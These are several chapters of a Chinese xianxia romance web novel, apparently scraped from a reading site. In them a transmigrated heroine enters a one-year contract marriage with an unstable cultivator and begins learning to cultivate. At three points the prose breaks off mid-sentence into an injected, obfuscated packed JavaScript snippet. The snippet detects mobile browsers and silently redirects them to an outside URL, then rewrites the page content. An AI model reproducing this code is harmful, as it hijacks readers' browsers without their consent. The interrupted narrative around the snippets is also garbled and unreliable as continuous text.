侍女笑道:“昨天夜里,姑娘在外昏迷了过去,是公子一路把你抱了回来。” 另一名侍女道:“他自己身体还未恢复好,一回来就昏过去了。然后季公子一见你们如此,只道你俩一同夜游,已经十分相熟亲近了呢!” 崔羽落无力地扯了扯嘴角:“这还真是个误会。”随后她穿鞋起身,拿起一旁的外袍,一边披在身上,一边向门外走去。 “姑娘……” “我去找季回澜说清楚。” 没走两步,眼前门被人“知啦”一声从外面推开。崔羽落抬眼,发现昨夜那少年换了身衣服,静静站在门口。 8. 夫妻 “怎么?” “有一些事情想要和你商量一下,”少年抬了抬下巴,“方便让我进去吗?” 崔羽落没有动:“什么事?” “婚事。” “不好意思,我不同意这门婚事。” “为何。” 崔羽落想了想:“首先,我和你一点也不认识。虽然我们在地牢里有过一面之缘,但是那也仅仅是‘见过’,我对你、你对我一点都不了解。是吧?” 少年顿了顿:“季回澜没有和你说过我之前的经历么?而且那天,他应该给你看过我的生辰八字和姓名籍贯。” 崔羽落笑笑:“是,我知道你是玄昭门横苍长老的徒弟,也知道你之前的那些事情,也看到了你的生辰八字。” 她回想了一下那张纸上的内容,继续说。 “我知道你叫慕惊弦,也知道你是……”她顿了一下,而后说,“忘记是哪一天出生的了。但是这些对我来说有什么意义呢?我不会看生辰八字,更不会看咱俩八字合不合,所以你这个人到底是什么样子的,我完全不知道。” “现在不知道,以后也会知道的。” 崔羽落轻轻笑了一下。 “对,但是那都是以后的事情了,我不会算卦,不能未卜先知以后的事情来决定现在怎样做。”她正色道,“其次,你们要找个女子做你的新娘,是为了压制你控制不住的灵力。而具体怎么压制呢?就是找一个身强的来强行挨打。昨天晚上的情况让我发现,一段时间内你释放的灵力是有限的,所以只要都用在了一个人身上,那就不会再伤害其他人了。” 慕惊弦却勾了勾唇:“你就没有发现,你除了进入幻境,并没有受到伤害么?” “我险些出不来了。要是一直无法脱离幻境,大概会一直被困在里面,直到死掉吧。” “不会,你方才不是说,我那段时间能用的灵力是有限的么?灵力耗完了,幻境自然就破了。” “所以呢?我没有受到伤害,是因为我体质强,而不是——” 慕惊弦打断了她:“你的体质,可不仅仅是‘强’。” 崔羽落心道:废话,氪命开挂要是只能‘强一些’,那也太不值得了。 他继续道:“昨天夜里的那些人,还真是专门为了抓你才去的。就算抓不到,也能试探一下。” 崔羽落回想起第一天在地牢中那黑袍男子所说的话—— 惜才之心、做他徒弟、开创新时代。 ——还挺有诚意。 然后她回到之前的话题:“最后,我不太愿意和你成婚。” “为何?” 扯了一大段,她终于点题—— “结合待遇和岗位来看……我个人不是特别满意。” * 二人隔着桌子相对而坐,分别手持一根笔,在两张纸上落下一个个字。 一会儿,崔羽落停笔:“我写完了。” 她捏着纸张的两个角,将它提起,最上面一行写着“信息与期望”。 对面人也将笔搁在一旁,崔羽落看了过去,只见纸张最上,是一行一言难尽的字。 慕惊弦将已然写满的纸推了过来,却见崔羽落表情复杂地望着他。 “怎么?你不识字?” “不识字怎么写字?你这字也太……让人难以辨认了吧。” “是么?前段时间手受伤了,写不好,你仔细辨认一下便可。” “你念一下吧。” 觉得这句话有点干巴巴,崔羽落颇为礼貌地加了一句。 “小女子不才。” 却见慕惊弦笑了两声,便开始念纸上所写的字。 崔羽落听着,发现原本的“薪资”翻了倍,心想果然还是得大胆一些。作为天赋异禀的候选人,一定要认清自己对于对方的巨大价值,并在此基础上进行pua,从而实现待遇最优化。 “……除了以上内容,还有几条,需要和你商量一下。” “什么?” “你愿意长期作为我的妻子,待在这里吗?” 崔羽落惊喜道:“……难道可以短期?” “可以。” 崔羽落大致估算了一下,如今是二月,据先前那名女修所言,玄昭挑选弟子是在三月后,那么她可以先一边攒灵石,一边充分利用丰厚待遇来修炼,然后再去参加入门试炼。 正要开口,慕惊弦却说:“最短一年。” “三个月。” “一年。” “我不干了。”崔羽落站起身。 “你不干有的是人干。”慕惊弦一顿,“但是——” 崔羽落从高处瞥了他一眼。 “——我们还是希望你留下。” …… 待遇更上一层楼,二人开始商议成婚条款。 崔羽落道:“一年后和离,之后不得对我进行造谣、诽谤,不得干涉我的行为。” “可。” “那在这一年里我可以去其他地方吗?” “可以,但不能与我分开超过十五日,期间需要保持联系。” “我要是失联,你有什么办法?” 慕惊弦看了看她:“你大可试试,我有的是办法。” “……”崔羽落从一堆狗爬似的字迹中辨认出几个字,“三件事,为什么后面没有东西了?” “此外,凡是在我能力范围内,我可以额外满足你三个条件,你可以现在就说出三个,也可以留着以后说。” 崔羽落想了想:“待我好好考虑一下。” 慕惊弦问道:“还有什么问题么?” “没有了。” “准备一下,今晚成婚。” * 穿着大红婚袍,顶着还未画完的妆,崔羽落已经累了。 没有要紧事的时候,她便自动切换为“省电模式”。 昏昏欲睡了不知多久,侍女喊了声“姑娘,好了”,她才迷迷糊糊地睁开眼。 她看着铜镜中自己的模样,心想:还不错,可惜没有手机,不然一定得多拍几张照片。 上了花轿,走过很短的一段路,轿帘被掀开,一只手伸向她,等着她向前。 她顿了顿,将一只手放在那只手上。 然后她的手被握住,她跟随着一袭婚服的慕惊弦缓缓向前。 那只手依然很凉。 崔羽落心中却忽然冒出一句话:“他今天也没有被冻死哦。” 不禁扬起嘴角,微微一笑。 耳畔却传来一个很轻的声音:“笑什么?” “高兴。” 身边人沉默了。 崔羽落后知后觉地意识到这句话很有歧义,但在心中组织了一下语言,又懒得出声解释。 二人到了大堂前,季回澜站在一边,低声问了一句话。 崔羽落听不清,却发现身边人轻轻拉了她一下,换了个方向前进。 她不太在意成婚的仪式感,便任由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419916|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他牵着自己走着。 二人停了脚步。周围没有房屋,圆月高悬,树木葱茏。 崔羽落问道:“这……什么地方啊?” 慕惊弦淡淡道:“不知道。” “啊?” “随便走,随便停。天意如此,顺从便可。” “……行。” “此处天高云阔,土地绵延,正适合拜天地。” 崔羽落“哦”了一声,与他一起拜了天地。 “既然你我都没有‘高堂’,那这二拜……” “拜什么?” “就不用拜了。” “……好吧。” “你若是有什么想法尽可与我说。” “没有。” “至于夫妻对拜,”慕惊弦平静道,“仔细说来,你我只是名义上的夫妻,因此……” 崔羽落见他不再继续说,便说道:“也不拜了?” “也不算是真正的夫妻。但一日夫妻百日恩,你我共三百六十日,那便是三万六千日恩。” 崔羽落目瞪口呆。 “大恩不言谢,而‘谢’字去了‘言’便是‘射’,昨日有箭射向你我,因此我们可以去那个地方对拜。” “……好。” 夫妻对拜完,崔羽落以为此人又要搞什么乱七八糟的,但他只是再次向她伸手:“走吧,回去。” 她干笑了两声:“没事,我自己能走。” “你能走,但我伤势未愈,走得吃力。” 崔羽落无奈地握住了他的手,又走了很远的路,才回到了一个亮着红烛的房间。 坐在床边,她收回了手,问道:“那个……洞房就不用了吧?” “你若是想的话,那也可以。” “不想不想。”崔羽落环视四周,发现只有一张床,不远处有个挺大的柜子,“我有些累,那我们就直接睡觉吧。” 慕惊弦看了看她,收回目光:“好。” 崔羽落叮嘱:“合约里说过——” “我知道。况且你看我现在的样子,怎能与你对抗呢?” 崔羽落站起身:“也……不至于。” 看着她走向了柜子,慕惊弦问道:“怎么了?” 崔羽落一边打开柜子,一边回道:“找点东西打地铺啊,总不能真睡一起了。” “你睡床上,我打地铺。” 崔羽落开始在柜子旁边打地铺:“不用不用,你睡床。” 慕惊弦又沉默了一会儿,缓缓道:“不必顾虑我的伤势,房间内有法阵,睡在地上也不会受凉。” 崔羽落奇怪地看了他一眼:“我没有……唉,总之你睡着吧,既然地上不凉,那就更好了。” “真的无妨,你的好心我知道了,但是新婚之夜让妻子打地铺,说出去也太不像话了。” 崔羽落无力地说:“没有的,我真的想睡地铺。” 慕惊弦看着她的神情,似是忽然明白了什么:“你不会是……嫌弃这个床是我睡过的吧?” 心想着“你终于懂了”,崔羽落摆手道:“没有没有,我真的是喜欢睡地铺。” “这个房间此前没有人住过,你过来睡吧。” 崔羽落拗不过他,便上床和衣而卧。 慕惊弦走到地铺边,正要躺下,却见崔羽落突然从床上弹起。 “你怎么了?” 崔羽落一边在房间内快速走动,一边答道:“我体质特殊,一天不运动就难受。” 9. 喜欢 崔羽落已脱下略显繁复的外袍,穿着大红色的里衣走到了桌边,随后对镜一一卸下发上的装饰。 慕惊弦在地铺上盘膝而坐,看着她动作。 随着发饰被卸下,崔羽落一头长发散落于肩背。她的侧影沉在昏暗烛影中,清丽如一幅浓淡相宜的水墨画。 以一支发簪将头发束起,崔羽落开始在房间内折返跑。 慕惊弦一言不发地看着她,终于开口:“房间就这么大一点地方,为何不在外面跑?” 崔羽落脚步不停:“新婚之夜,我若是独自在外面,把你留在房间,好像不太合适吧?” 慕惊弦垂眼想了想:“为何?” “不知道,就是感觉不太好。” “无妨,这里也没有什么人。”慕惊弦看着她跑了一个来回,“那我与你一起出去,新婚之夜一同夜游,总该合适了吧?” 二人一同到了外面,到了一片较为空旷的草地上,边上溪流潺潺,暗香悠然。 崔羽落回想起前天晚上的花香,问道:“这是什么花啊?” “槐花。” “谢谢你。”她看着树上的花,“感觉我知道很多花名,也见过很多种花,但总是不能将它们对上号。” 慕惊弦好奇道:“女生不是一般都很喜欢花么?” 崔羽落翻白眼:“你自己也说了,是‘一般’。况且有些人虽然喜欢,但也不太会特意去记下它们的名字,只是见到了会欣赏一会儿。” “既然喜欢,为什么不去了解它们的名字呢?连名字都记不住,也不算是真的喜欢。” “每个人喜欢的方式不太一样啊,就像有些人说喜欢看书,但也只是想起来了去挑着自己喜欢的看,而不会日日博览群书,将看过的东西都牢牢记在脑子里。” 崔羽落一边说话,一边绕着小圈慢跑。不知是一直在说话的原因还是身体还未恢复好的原因,她已有些力不从心。 “这不就是叶公好龙么?我若是喜欢一件事,那便会去好好了解它。” 崔羽落有些喘,便言简意赅地说:“那是你,别人又不是都和你一样。” 慕惊弦笑了笑:“你前面说你喜欢运动。我倒是觉得,你和我有些相似。” “哪里相似?” “新婚之夜,疲惫之时,却依然坚持运动。这种喜欢,倒是和我有些像。” 崔羽落内心吐槽道:谁和你像了?生命值已经大残,再不完成每日运动,信誉分也要大残了。 慕惊弦低声说:“有些人总是说自己喜欢什么东西,实际上却不曾为那东西做过什么。他们只是喜欢让自己喜欢那东西罢了,久而久之就把自己也骗了进去。” 崔羽落已出了层薄汗:“什么?” “没什么,”他笑了笑,“我只是想到,之前在宗门,总有人违心地说自己喜欢练功,实际上又十分懒散。” “……” 崔羽落回想起自己之前写作文,总是写“要热爱学习,热爱生活”,实际上也是天天拖延,四处玩耍。 “有没有一种可能,他们只是嘴上说说,其实也知道自己不喜欢练功呢?” “那他们为什么要这样说呢?”慕惊弦看着一时沉默的崔羽落,补充道,“虽然没有口上说这些话,但我有时会看弟子们交上来的课业,和一些报名参加选修的信件,他们总会在里面些‘喜欢练功,渴望进步’,实际上又完全不是这样。” “在课业和信件里,还是得假装一下的吧。”崔羽落不太理解此人的脑回路,诚挚地说,“总不能在里面如实写,‘我是个懒人,我喜欢睡觉’吧。” 慕惊弦低低笑了两声:“你说得对。” 跑了很久,崔羽落背上贴身的衣衫已染上一层汗,她缓了缓脚步,略微弯着腰走着。 【恭喜宿主。】 崔羽落喜道:“总算完成任务了!” 【用户等级提升,现在级别为二级。】 【二级用户每日需完成120点活力值,当前活力值为100,请宿主继续努力。】 “……” ——能不能不升级啊? 崔羽落缓了缓,准备继续开始慢跑,却发现原本席地而坐的慕惊弦有些异样。 他默然坐着,但……周围已有暗色灵气渐渐浮动了起来。 ——一天一次的发疯时刻。 崔羽落走到他面前,问道:“你能听到我说话吗?” 却不见回答。慕惊弦闭着眼,脸色更加苍白,周围暗流愈发明显。 他忽而睁眼,目光冰冷。随后他动了动,似是要起身。 崔羽落一记手刀打晕了他,周围暗流蓦地无影无踪。 她心中却浮起一个疑惑。 ——既然只要将他打昏过去,他便可不再发狂伤人。但……季回澜他们为什么不这样做呢? 看着失去意识躺在地上的慕惊弦,崔羽落叹了口气,起身继续慢跑。 又过了一会儿,久违的声音终于响起。 【恭喜宿主,当前活力值为120,已达标。】 她扶着膝盖喘气,问道:“其它数值呢?” 【回宿主,当前生命值为85,信誉值为100。】 “怎样能提升生命值?” 【自然状态下,生命值低于100时,会以每日5点的速度增长。此外,在活力值已达标的情况下,获取更多活力值也能获得生命值。】 她在慕惊弦身边蹲下身,轻轻拍打他的肩膀,在他耳边说道:“能听见我说话吗?” 拍了一会儿,地上人毫无反应。 心想“总不能把他扛回去吧”,远处有脚步声传了过来。 崔羽落转头,看到了一脸震惊的季回澜。 “谋杀……亲夫?” * 房间内,季回澜坐在椅子上,擦了擦脸上的汗:“先让他就这么躺着吧,万一一醒又开始无差别攻击,就不太好办了。” 崔羽落坐在对面,想起方才的疑虑:“季公子,有一个问题我想请教一下。” “什么?” “方才他灵力开始波动,我见他神色不对,便出手打晕了他,然后那灵力波动也停了。但听你们所说,之前没有靠打晕他来强行打断他的攻击行为……” 崔羽落顿了顿,有些不知道接下来该如何询问。 季回澜笑了笑,问道:“一天前的那次,他在你面前失控,法术生效了吗?比如说你有没有动不了或者神志不清这样。” “有,我进入了一个幻境。” 季回澜点点头:“这也算。但是姑娘,你今天是在发现他异样之后出了手,但平常,我们经常还没发现就已经被法术控制了。最开始,你看见他周围灵力浮动了?” “是。” “大概是姑娘天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419917|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赋异禀。” “没有没有,”崔羽落又有了疑问,“那若是在他失控之前便使他昏迷或者其他什么,是不是……” 季回澜摇了摇头:“没用的。不管之前如何,他都会自己醒来。” 崔羽落心想:那天晚上是因为和系统做了交换,相当于开了个挂。但今天晚上没有增益,甚至生命值比较低,又为何还会这样? “崔姑娘,我先回去休息了,你也早些休息吧。”随后他补充道,“若是你不愿和他睡在一间房里,也可以回到先前那个屋子。我们也明白你们并非是‘真’结婚,因此,姑娘怎样舒服便怎样来。” * 崔羽落一觉醒来,发现睡得很昏沉,几乎没有做梦。 起身换上了备在一旁的青色衣裙,她洗漱完毕,有些无聊地出了门。 系统忽然出声:【宿主早上好,一日之计在于晨,不妨先做一些运动哦。】 “不用了,不用谢。” 肚子叫了两声,侍女正好走了过来,笑着问道:“姑娘,早餐已备好,请随我来。” 她跟着侍女进了一间屋,只见屋里摆着一个圆桌,饭菜颇为丰盛,散发着诱人的香味。 ——早饭这么丰盛么? 大学期间时常不吃早餐的崔羽落呆住了。 季回澜说道:“今天是你们成婚后的第一顿早餐,大家一起吃热闹一些。” 崔羽落的座位在慕惊弦旁边,她坐了下来,看到身边人没什么表情,但脸色更加苍白,嘴唇也没什么血色。 桌边还坐着先前见过的两侍女,和一个她没有见过的男子。 那男子看上去三十岁上下,神色亲切和蔼:“这一桌都是我做的,哈哈,姑娘,快尝尝味道如何。” 肚子又叫了起来,为了防止其他人听到,崔羽落扬声道:“看上去很不错!说来,我已经很久没吃过如此丰盛美味的饭菜了!” 身边的慕惊弦轻轻笑了两声,崔羽落回头看向他。他的笑容仍未收回,这使他看上去有了许多“活人”的味道。 崔羽落收回目光,心道:怎么会突然这么想呢,难道他之前不像活人么? 季回澜看着他俩的神情,欣慰不已:“吃吧吃吧,真的要饿晕了。” 饭后,大家各自离开,慕惊弦叫住了崔羽落:“你现在有什么事么?” “没有啊。” “那你跟我来一下。” 二人又到了昨夜的“婚房”,崔羽落在桌边落座,见到桌上放着一把刀。 “这把刀好像是你先前用的,玄昭的人把它带了出去,我看着眼熟,便要了过来。” 崔羽落看着已被擦净的刀刃,却觉那血腥味仍未消退,在日光中缓缓弥散。 慕惊弦拿过一把刀鞘:“我先前见你用它的时候,是没有刀鞘的,大概是不慎丢失了。在地牢里也未能找到对应的鞘,所以我找人做了一个。” 崔羽落有些愣神,心想:其实我是随地捡的。 慕惊弦问道:“不知这把刀叫什么名字呢?”而后静静地看着她。 崔羽落看了看有些锈迹地刀刃和略显斑驳的刀锋:“破伤风。” “……好名字。”慕惊弦轻咳了几声,又说道,“你还有什么要求或者是问题么?” “有。”崔羽落目光沉沉。 “什么?” “我想提出第一个条件。” 10. 所求 …… 慕惊弦静静地听她说完,而后问。 “人总会因为某种东西而开始修炼,有的人是为了求长生,有的人是为了寻大道。但上面这两种太过虚无,更多的人则是为了一些现实的渴求,譬如想要变强而后复仇,或者是通过此种方式加入宗门,寻得一方安宁之所。那你呢,为什么想要修炼?” 崔羽落在年纪较小的时候,看过一些修仙电视剧。电视剧中主角仗剑天涯打怪升级,在小小的她心中种下了一颗中二之魂。 随着年龄增加,那颗中二之魂没有被生活磨灭,而是生根发芽,时不时出来搅和一下,让仍然中二的她感慨一下生不逢时。 ——然后埋头继续写着第二天必须要交的、不得不写的作业。 然后在内心想象一下:“不知道那些仙门子弟是否需要熬夜补作业。” 在看似风平浪静的生活中,她总是对那些世界是有一些好奇的。 比如偶尔幻想一下天地突然风起云涌,乾坤明灭,身边的行人匆匆逃向安全区。而她则会逆流而上,平静地出手,云淡风轻地摆平一切。 但实际上—— 她想:还是得赶快跑。 她看了一眼桌上新得名的刀,答道:“没有为什么,就是单纯的想修炼。” 慕惊弦笑了笑,笑容有些晦涩:“只是想修炼?没有别的了?” 崔羽落点点头。 “然后呢?你修炼了之后,还有什么想要完成的事情么?比如想要……长生不老青春永驻,或者是御风而行俯视群山,抑或是当个世外高人云游四海?” 崔羽落垂眼想了想,最终说了两个字。 “变强。” * 午饭之后,崔羽落上床躺了一会儿,便起来完成每日运动。 天色有些阴沉,她便在庭院外慢跑。跑了不知多久,她询问系统:“现在活力值有多少?” 【回宿主,当前活力值为50,生命值为90,请宿主再接再厉。】 回房间的路上,她遇到了迎面而来的季回澜。 “姑娘,我正要去找你呢。” “找我?有什么事情吗?” “我大概不会在这里待太久,因此,”他顿了顿,“日后还望你们好好相处。” “难道他很难相处么?” “呃,也不是,但是不知道姑娘有没有发现,他有些时候,”季回澜指了指自己的头,“这里好像有一点不太好,偶尔神经兮兮的。” “他从什么时候开始这样的?” “很多年了。”季回澜略微思考,“他现在十八岁,那……应该五六年前就有这种情况了。” 五六年前,那就是十二三岁的时候。 崔羽落问道:“那个时候不是还很年轻么?难道是受了什么伤或者是受了什么刺激?” “我觉得大概是这样的。但是我也未曾问过他,日后待你二人相熟,姑娘若是想知道,自然可以去问一问他。” ……其实,也没有很想知道。 崔羽落回了房间,刚好有一名侍女敲了敲门。 “还不知道你叫什么名字呢。” “回姑娘,我叫瑶枝。”她将一个托盘放在桌子上,崔羽落看到那是一件新衣,“姑娘试试合不合身。” 见她就要退出去,崔羽落叫住了她:“你……可有修炼过?” “回姑娘,有的。我年幼的时候,父亲说我只有努力修炼,才能过上更好的生活。” “那你修的是什么道呢?” 瑶枝回道:“道算不上,只能算是一种修炼之术。此术名为‘泉音’。” * 曾作为婚房的房屋前,崔羽落在庭院里努力拼凑回忆,断断续续地展示军体拳。 她收回不知道要放在什么地方的手:“我真的记不清了,我能想起来的全部都在这里了。” 她不理解,某人说今天下午教她修炼,为什么要让她先演示一遍“弓步冲拳”所在的那套拳法? 就因为在地牢里她打飞别人的动作太过潇洒了? 慕惊弦站在一边,表情莫测:“很有趣,和我见过的所有功法都不同。” 要“同”了才有问题。 崔羽落扯了扯嘴角,问道:“是么?” 慕惊弦眼中带着笑意,温和地看着她:“是的。” “然后呢?我们接下来要做什么?” “随我进来吧,修炼前要先学习一些理论知识。” 两人进了房间,在一张桌子前相对而坐。 崔羽落等着他拿出一本书或者一张纸,慕惊弦却没有这样做。 她问道:“没有那种……修仙指导书吗?或者是基础修仙教程?” 慕惊弦回答:“有的。” 崔羽落问道:“我明白了,确实有这样的书,只是你没有。” “不对,我也有,只是没有拿到这里来罢了。” “……好吧,那这节课我们学什么呢?” 慕惊弦看着她,问:“你背过《逍遥游》么?” “‘北冥有鱼,其名为鲲’?你说的是这个吗?” “是。” 崔羽落看着他的神情,有一种不好的预感。 慕惊弦终于从袖中拿出纸笔,放到桌上:“那你把它默写下来吧,会多少算多少。” 距离高考已经过了两年有余的崔羽落说:“小女子不才,没有背过。” “你不是知道它的第一句么?” “我只知道这一句。”崔羽落发问,“我想问一下,为什么要默写这个呢?如果说让我打拳是因为你好奇,那这个难道也是好奇吗?” “是,我是好奇。” “你可以去书里找一找。” “但我好奇的不是它的内容,”慕惊弦的视线落在纸笔上,“而是你……” “我?” 慕惊弦悠悠补上后半句:“——是你会背多少。” “好,你现在也知道了,我不会,所以接下来,我们就直接进入正题吧。” “好的。” 崔羽落心想:终于回归正常谈话了。 “修炼之道,寻的是‘天人合一’。修炼到了最高境界,窥见大道,便可以达到‘天地与我并生,而万物与我为一’的境界,从而便可与天地自由交流,长生不老,不死不灭。” 见他不再继续,崔羽落说道:“长生不老,不死不灭?但这种境界的人,是不是非常少?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419918|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,小生不才,未曾听闻有此境界之人。” 心想着“怎么还学我”,崔羽落问道:“那说不定确实没有能到这个境界的人呢,至于什么天人合一,只是在给修仙之人画大饼而已。” “是啊,谁知道呢。” 崔羽落疑惑道:“你不是玄昭门……天赋异禀的弟子么?你也这样想?” “为什么不能?但是,”慕惊弦顿了顿,“只是为了天人合一寻求大道而修炼的人,毕竟只占极少数。大多数人都是因为别的原因才选择修仙的。” 崔羽落说道:“是啊,就像读书,仅仅是因为想要探寻圣贤的思辨而读书的,其实只有很少的一部分。大多数人读书都是为了别的,比如为了考取功名来光宗耀祖,或者学会某项技艺来支撑起一个家庭,再或者,可能是他自己也不知道要做什么,刚好有这个读书的条件,就迷迷糊糊地继续去读了。至于后来要去做什么,他自己也不是很清楚。” 慕惊弦笑了笑:“是啊。不过就像凡人有三百六十行,其实修仙之人也有。仙门中弟子很多,但若是所有进入仙门的弟子都一直留在仙门,那仙门只会人越来越多。因此一些弟子会在到达一定境界之后自行离开,寻找安身立命之法。” “既然如此,为何还要修炼呢?” “你以为他们离开仙门之后就去做普通人了?在仙门修炼又不仅仅是提升修为,还会学习一些器械原理或者炼丹之法等等,这些东西看似与单纯的修炼大相径庭,却也构成了修士的‘三百六十行’。” 崔羽落点点头。 慕惊弦看了看她,继续说:“这些东西你日后会逐渐了解。方才我说了修炼的基本原理,接下来我简单讲讲修炼的境界之分。” “好的。” “共有六层境界,具体来说有——”他却忽然不再继续。 “怎么了?” 难不成是他忽然忘了? 慕惊弦平静道:“这些境界对现在的你来说不重要,日后再说。” “……行。” “你还有什么问题?” “没有了。” “那今天就这些了。” “……行,”崔羽落有些好奇,“那你到了哪一层呢?” “第三层。” “喔,我还有一个问题,那就是我什么时候可以开始修炼呢?” 慕惊弦有些疑惑:“你这么想修炼?” 崔羽落目光灼灼:“是啊。” “明天吧,循序渐进。而且我现在伤势未愈,不宜过度劳累。” “……好。那我走了。” 到了门口,崔羽落又有些好奇:“我还有一个问题想问你,不过你要是不愿意回答也没关系。那就是……你为什么要修炼呢?” 慕惊弦淡淡道:“天赋异禀,宗门说我若能好好修炼,此后必成大器。所以他们让我修炼,我就修了。” * 门关上了,慕惊弦坐着没动。窗外天色渐暗,凉意浮了上来,使他忍不住咳了几声。 季回澜推开了门,坐在对面的位置:“你怎么在这里?” 慕惊弦问道:“怎么了?” “宗门有事,我们几个……得回去了。” 11. 住店 “好。”慕惊弦顿了顿,“不过……如果你不是太忙碌的话,过几天能不能从玄昭捎几本书来?” 季回澜接过慕惊弦递给他的那张纸,很是惊讶:“为什么是一些极为基础的书?你真……觉得自己这里不太好使了吗?” “你想哪里去了,”慕惊弦对他的反应表示不满,“我的脑子好使得很。” “嗷嗷嗷——” “你又怎么了?” “我懂了,”季回澜了然道,“是崔姑娘想看吧?不过,唉。” “唉声叹气什么呢?好像我真坏了脑子变傻了一样。”慕惊弦看着季回澜的神情,又道,“不过什么?” “其实我觉得吧,崔姑娘体质很特别,你如果能和她好好双修,对你俩都会大有裨益。你能快速恢复,她也能迅速提升修为,”季回澜仔细分析,“我说的是普通的双修啊,不是那些乱七八糟的秘术。不过即便如此,我也知道你不会这样做。” “为什么?” “不知道,”季回澜起身,“可能是因为,崔姑娘会一巴掌打晕你吧。” * 其他人都去了宗门,整个庭院显得有些冷清。厨房留下了足够的饭菜,食用前用灵力略微加热便可。 “这不就预制菜吗?”崔羽落问道。 虽然味道不错,但预制菜还是不太好吧。 “施了法术的,你可以理解为把它们封存在了刚做好的那一瞬,我们再次打开的时候,它们的时间才再次开始。”慕惊弦盛了一碗汤,补充道,“不过这些饭菜只够吃十天,在那之后,我们可以做一些新鲜的饭菜,厨房里的食材还是很多很丰富的。我的手艺虽然比不上大厨,但做出的饭菜还是能勉强入口的。” 接下来的几天内,崔羽落每天除了坚持运动,一有空就会和慕惊弦一起,探讨如何修炼。 “第一个境界是乘风,意在感受世间灵气,并尝试化为己用。”慕惊弦科普道,“第二个境界是神凝,换个容易懂的说法,就是结丹。修炼不过是在修内丹,内丹越强,能施展的力量就越强。” “修内丹?那有没有修外丹?” “有的,用炉子炼丹,就是修外丹。” “噢噢,不过我看的那些……话本,外丹好像不是很靠谱啊,那内丹,真的靠谱吗?” “你看的是哪里的话本?”慕惊弦蹙眉问道。 “没有没有,我看的是盗版。”崔羽落哈哈一笑。 “第三和第四境界分别是北冥和扶摇。当前大多数修士都处于前两个境界,若能进入第三层,便算是高手了,至于达到第四层的修士,一只手便可数得过来。” “那更高的呢?” “第五境的人,一百年能出两三个吧,至于最高境界,我还未曾听说过有人能达到。” “好。” 崔羽落按照慕惊弦所说的修炼之法练功,几天下来无事发生。 她好奇道:“你当时,从零开始到第一境,花了多久啊?” 慕惊弦答道:“那都是我几岁时候的事了,记不清了。” 当然,除了练功,她每天要做的事还有一件。 那便是在晚上及时打晕将要无差别攻击的慕惊弦。 午夜,崔羽落看着地铺上昏睡的人,心想:唉,真麻烦。 一次白天,她忍不住问道:“你为什么每天晚上会……发疯呢?” 慕惊弦将一块排骨夹进自己的碗里:“我也不知道为什么。仙魔大战之后,就一直是这样了。” “在那之前一切都正常吗?” “正常?”慕惊弦缓缓吐出这两个字,“什么是正常,什么是不正常呢?你觉得和大多数人不同就是不正常,和他们相同就是正常么?你怎知那大多数人便是正常的呢?” “……好吧。”崔羽落看着所剩不多的排骨,秉持“食不语”的理念,专心吃饭,不再说话。 * 预制菜还没有吃完,季回澜回来了。 他迈入房间,看到相对而坐的二人,将手中的三四本书放在桌上,笑道:“书拿回来了。” 慕惊弦抬眼问道:“玄昭把你们几个叫回去,是有什么事了?” 季回澜坐在二人中间,答道:“其实也没什么事,就说——” 他顿了话头,有些迟疑地看了看崔羽落。 慕惊弦道:“没事,既然已经成婚,那便是一家人,不分你我。说吧。” “之前贺千重不是想抢夺无方盘吗?但幸好没抢成。然后掌门就说需要再找个地方将无方盘封印。” 崔羽落有些困惑,目光在二人脸上晃了晃,又不好意思发问。 慕惊弦解释道:“修真界有从上古传下来的四大灵器,无方盘便是其中之一。但在六年前因为这四个灵器,险些导致灭世之祸,因此在那之后,这四个灵器便被封印。前些日子的仙魔大战,便是因魔宗尊主贺千重想要抢夺玄昭门所守的无方盘而起,所幸未能被他夺走,并使魔宗元气大伤,退回修养了。” 崔羽落点点头,心想:这位贺千重拿的是典型的反派剧本啊。 “贺千重其实你见过,就是之前魔宗地牢里摆阵吸收他人灵气的那个人。”慕惊弦转向季回澜,“然后呢?” “然后其实也没什么了,就是要把它重新封印在一个不知道什么地方的地方。”季回澜摊手道,“我们去了其实也什么都没有做,把我们叫回去,大概是想让我们干点杂活吧。” 慕惊弦勾了勾唇角:“他们没有问你,我的情况如何了吗?” “问了,我说你与妻子生活和睦,身体也在逐渐康复,”季回澜双手一拍,“对了对了,差点忘记说正事了。玄昭把我们叫过去,实际上发现什么事都没有。但过了几天就真的出事了。” “什么事?” 季回澜正色道:“郑夫人失踪了。” 慕惊弦平静的神色终于被打破了,他难以置信道:“什么?” * 季回澜解释完,慕惊弦又恢复了往日的平静,他摆摆手:“那……没什么事情的话,你就先回宗门吧。” 季回澜震惊道:“不是,我才刚来,你就要把我赶走吗?” “那我们就……留你吃顿饭再走吧。” 